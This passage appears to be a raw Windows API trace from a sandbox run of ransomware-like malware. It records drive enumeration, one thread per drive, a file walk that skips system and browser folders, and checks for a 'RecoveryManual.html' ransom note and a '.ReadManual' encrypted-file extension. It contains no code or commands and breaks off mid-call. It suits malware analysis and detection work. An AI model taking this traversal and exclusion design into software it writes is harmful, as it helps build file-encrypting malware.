1 [0175.642] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x173, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.642] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x73, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x73, lpOverlapped=0x0) returned 1 [0175.642] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] TerminateProcess (hProcess=0x15c, uExitCode=0x0) returned 1 [0175.647] CloseHandle (hObject=0x15c) returned 1 [0175.647] CloseHandle (hObject=0x158) returned 1 [0175.647] CloseHandle (hObject=0x14c) returned 1 [0175.647] CloseHandle (hObject=0x154) returned 1 [0175.647] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\~18119777.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\~18119777.tmp")) returned 1 [0175.651] GetTickCount64 () returned 0x116519a [0175.651] GetVolumeInformationW (in: lpRootPathName="\\\\?\\a:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.651] GetVolumeInformationW (in: lpRootPathName="\\\\?\\b:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.651] GetVolumeInformationW (in: lpRootPathName="\\\\?\\c:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0175.651] GetDriveTypeW (lpRootPathName="\\\\?\\c:\\") returned 0x3 [0175.652] GetProcessHeap () returned 0x630000 [0175.652] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x1020d) returned 0x68b668 [0175.652] lstrcpyW (in: lpString1=0x68b66c, lpString2="\\\\?\\c:\\" | out: lpString1="\\\\?\\c:\\") returned="\\\\?\\c:\\" [0175.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2e2957, lpParameter=0x68b668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0175.653] CloseHandle (hObject=0x154) returned 1 [0175.653] GetVolumeInformationW (in: lpRootPathName="\\\\?\\d:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.653] GetVolumeInformationW (in: lpRootPathName="\\\\?\\e:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\f:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\g:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\h:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\i:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\j:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\k:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\l:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\m:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\n:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\o:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\p:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\q:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.654] GetVolumeInformationW (in: lpRootPathName="\\\\?\\r:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\s:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\t:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\u:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\v:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\w:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\x:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\y:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] GetVolumeInformationW (in: lpRootPathName="\\\\?\\z:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18f7c4*=0x0, lpFileSystemNameBuffer=0x0) returned 0 [0175.655] Sleep (dwMilliseconds=0x3e8) [0176.660] Sleep (dwMilliseconds=0x3e8) [0177.674] Sleep (dwMilliseconds=0x3e8) [0178.689] Sleep (dwMilliseconds=0x3e8) [0179.740] Sleep (dwMilliseconds=0x3e8) [0180.748] Sleep (dwMilliseconds=0x3e8) [0181.762] Sleep (dwMilliseconds=0x3e8) [0182.776] Sleep (dwMilliseconds=0x3e8) [0183.789] Sleep (dwMilliseconds=0x3e8) [0184.827] Sleep (dwMilliseconds=0x3e8) [0185.895] Sleep (dwMilliseconds=0x3e8) [0186.990] Sleep (dwMilliseconds=0x3e8) [0188.033] Sleep (dwMilliseconds=0x3e8) [0189.088] Sleep (dwMilliseconds=0x3e8) [0190.265] Sleep (dwMilliseconds=0x3e8) [0191.889] Sleep (dwMilliseconds=0x3e8) [0192.932] Sleep (dwMilliseconds=0x3e8) [0193.945] Sleep (dwMilliseconds=0x3e8) [0194.960] Sleep (dwMilliseconds=0x3e8) [0196.018] Sleep (dwMilliseconds=0x3e8) [0197.021] Sleep (dwMilliseconds=0x3e8) [0198.032] Sleep (dwMilliseconds=0x3e8) [0199.048] Sleep (dwMilliseconds=0x3e8) [0200.062] Sleep (dwMilliseconds=0x3e8) [0201.074] Sleep (dwMilliseconds=0x3e8) [0202.098] Sleep (dwMilliseconds=0x3e8) [0203.112] Sleep (dwMilliseconds=0x3e8) [0204.147] Sleep (dwMilliseconds=0x3e8) [0205.161] Sleep (dwMilliseconds=0x3e8) [0206.225] Sleep (dwMilliseconds=0x3e8) [0207.238] Sleep (dwMilliseconds=0x3e8) [0208.298] Sleep (dwMilliseconds=0x3e8) [0209.315] Sleep (dwMilliseconds=0x3e8) [0210.389] Sleep (dwMilliseconds=0x3e8) [0211.402] Sleep (dwMilliseconds=0x3e8) [0212.462] Sleep (dwMilliseconds=0x3e8) [0213.493] Sleep (dwMilliseconds=0x3e8) [0214.506] Sleep (dwMilliseconds=0x3e8) [0215.521] Sleep (dwMilliseconds=0x3e8) [0216.534] Sleep (dwMilliseconds=0x3e8) [0217.548] Sleep (dwMilliseconds=0x3e8) [0218.562] Sleep (dwMilliseconds=0x3e8) [0219.576] Sleep (dwMilliseconds=0x3e8) [0220.590] Sleep (dwMilliseconds=0x3e8) [0221.635] Sleep (dwMilliseconds=0x3e8) [0222.681] Sleep (dwMilliseconds=0x3e8) [0223.694] Sleep (dwMilliseconds=0x3e8) [0224.709] Sleep (dwMilliseconds=0x3e8) [0225.723] Sleep (dwMilliseconds=0x3e8) [0226.736] Sleep (dwMilliseconds=0x3e8) [0227.752] Sleep (dwMilliseconds=0x3e8) [0228.765] Sleep (dwMilliseconds=0x3e8) [0229.778] Sleep (dwMilliseconds=0x3e8) [0230.809] Sleep (dwMilliseconds=0x3e8) [0231.823] Sleep (dwMilliseconds=0x3e8) [0232.840] Sleep (dwMilliseconds=0x3e8) [0233.866] Sleep (dwMilliseconds=0x3e8) [0234.880] Sleep (dwMilliseconds=0x3e8) [0235.925] Sleep (dwMilliseconds=0x3e8) [0236.949] Sleep (dwMilliseconds=0x3e8) [0237.953] Sleep (dwMilliseconds=0x3e8) [0238.967] Sleep (dwMilliseconds=0x3e8) [0239.981] Sleep (dwMilliseconds=0x3e8) [0241.027] Sleep (dwMilliseconds=0x3e8) [0242.040] Sleep (dwMilliseconds=0x3e8) [0243.086] Sleep (dwMilliseconds=0x3e8) [0244.100] Sleep (dwMilliseconds=0x3e8) [0245.130] Sleep (dwMilliseconds=0x3e8) [0246.179] Sleep (dwMilliseconds=0x3e8) [0247.204] Sleep (dwMilliseconds=0x3e8) [0248.272] Sleep (dwMilliseconds=0x3e8) [0249.311] Sleep (dwMilliseconds=0x3e8) [0250.371] Sleep (dwMilliseconds=0x3e8) [0251.400] Sleep (dwMilliseconds=0x3e8) [0252.415] Sleep (dwMilliseconds=0x3e8) [0253.428] Sleep (dwMilliseconds=0x3e8) [0254.443] Sleep (dwMilliseconds=0x3e8) [0255.456] Sleep (dwMilliseconds=0x3e8) [0256.480] Sleep (dwMilliseconds=0x3e8) [0257.516] Sleep (dwMilliseconds=0x3e8) [0258.532] Sleep (dwMilliseconds=0x3e8) [0259.574] Sleep (dwMilliseconds=0x3e8) [0260.590] Sleep (dwMilliseconds=0x3e8) [0261.611] Sleep (dwMilliseconds=0x3e8) [0262.618] Sleep (dwMilliseconds=0x3e8) [0263.636] Sleep (dwMilliseconds=0x3e8) [0264.739] Sleep (dwMilliseconds=0x3e8) [0265.753] Sleep (dwMilliseconds=0x3e8) [0266.772] Sleep (dwMilliseconds=0x3e8) [0267.790] Sleep (dwMilliseconds=0x3e8) [0268.794] Sleep (dwMilliseconds=0x3e8) [0269.940] Sleep (dwMilliseconds=0x3e8) [0270.949] Sleep (dwMilliseconds=0x3e8) [0272.231] Sleep (dwMilliseconds=0x3e8) [0273.241] Sleep (dwMilliseconds=0x3e8) [0274.257] Sleep (dwMilliseconds=0x3e8) Thread: id = 2 os_tid = 0xc0 Thread: id = 10 os_tid = 0x418 [0048.424] GetCurrentThreadId () returned 0x418 Thread: id = 123 os_tid = 0xb90 [0075.638] GetCurrentThreadId () returned 0xb90 [0142.640] GetCurrentThreadId () returned 0xb90 Thread: id = 124 os_tid = 0xa48 [0075.639] GetCurrentThreadId () returned 0xa48 [0142.639] GetCurrentThreadId () returned 0xa48 Thread: id = 138 os_tid = 0x524 [0175.726] GetCurrentThreadId () returned 0x524 [0175.726] GetProcessHeap () returned 0x630000 [0175.726] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2026d) returned 0x69b880 [0175.727] lstrcpyW (in: lpString1=0x69b89c, lpString2="\\\\?\\c:\\" | out: lpString1="\\\\?\\c:\\") returned="\\\\?\\c:\\" [0175.727] lstrlenW (lpString="\\\\?\\c:\\") returned 7 [0175.727] FindFirstFileW (in: lpFileName="\\\\?\\c:\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x667650 [0175.727] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\" | out: lpString1="\\\\?\\c:\\") returned="\\\\?\\c:\\" [0175.727] lstrcpyW (in: lpString1=0x69b8aa, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0175.727] lstrcatW (in: lpString1="$Recycle.Bin", lpString2="\\" | out: lpString1="$Recycle.Bin\\") returned="$Recycle.Bin\\" [0175.727] StrStrIW (lpFirst="\\\\?\\c:\\$Recycle.Bin\\", lpSrch=":\\Windows\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\$Recycle.Bin\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\$Recycle.Bin\\", lpSrch=":\\$RECYCLE.BIN\\") returned=":\\$Recycle.Bin\\" [0175.728] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0175.728] lstrcpyW (in: lpString1=0x69b8aa, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0175.728] lstrcatW (in: lpString1="Boot", lpString2="\\" | out: lpString1="Boot\\") returned="Boot\\" [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\Windows\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\WINNT") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.728] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.729] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.729] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.729] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.729] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.729] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.729] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.729] lstrlenW (lpString="\\\\?\\c:\\Boot\\") returned 12 [0175.729] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x688c28 [0175.729] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\" | out: lpString1="\\\\?\\c:\\Boot\\") returned="\\\\?\\c:\\Boot\\" [0175.729] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.729] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0175.729] lstrcpyW (in: lpString1=0x6ab8b4, lpString2="BCD" | out: lpString1="BCD") returned="BCD" [0175.729] lstrcmpiW (lpString1="BCD", lpString2="RecoveryManual.html") returned -1 [0175.729] StrStrIW (lpFirst="BCD", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.729] lstrcpyW (in: 